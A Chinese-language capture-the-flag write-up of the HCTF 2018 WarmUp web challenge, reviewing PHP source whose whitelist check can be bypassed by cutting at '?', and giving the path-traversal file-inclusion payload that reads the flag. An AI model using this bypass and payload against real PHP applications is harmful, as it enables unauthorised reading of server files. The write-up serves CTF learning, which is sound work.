BUUCTF [HCTF 2018] WarmUp Web writeup

BUUCTF [HCTF 2018] WarmUp Web writeup

启动靶机,打开环境:
BUUCTF [HCTF 2018] WarmUp Web writeup_第1张图片
根据提示是一道PHP代码审计的题目,查看网页源码:

<body>
    

发现提示的新页面,访问得到源码:
BUUCTF [HCTF 2018] WarmUp Web writeup_第2张图片
分析源码:
先看最后的一个if

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; }
  1. 传入的变量file不为空,并且为string类型,并执行checkFile()函数
  2. 三个条件为真则执行include
  3. 三个条件为假则输出滑稽

查看checkFile()函数:

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
  1. 有两个页面:source.phphint.php
  2. 四个if判断:
  • $page不为空或不为字符串,返回false
  • $page$whitelist数组中,返回true
  • mb_substr()函数截取字符串
  • mb_strpos()函数返回在$page?前的内容,没有则返回$page的值
  • 截取后$page$whitelist数组中,返回true
  • $page进行URL解码
  • 执行与之前相同的截取操作
  • 解码截取后$page$whitelist数组中,返回true

访问checkFile()函数中的hint.php页面:
在这里插入图片描述
提示了flag所在的路径,尝试访问:

/source.php?file=source.php?../ffffllllaaaagggg

因为checkFile()函数会匹配?前的内容是否在数组whitelist中,因为不知道在哪个目录,多次添加../得到flag
在这里插入图片描述
最终payload

/source.php?file=source.php?../../../../../ffffllllaaaagggg

你可能感兴趣的:(BUUCTF,WEB,Writeup)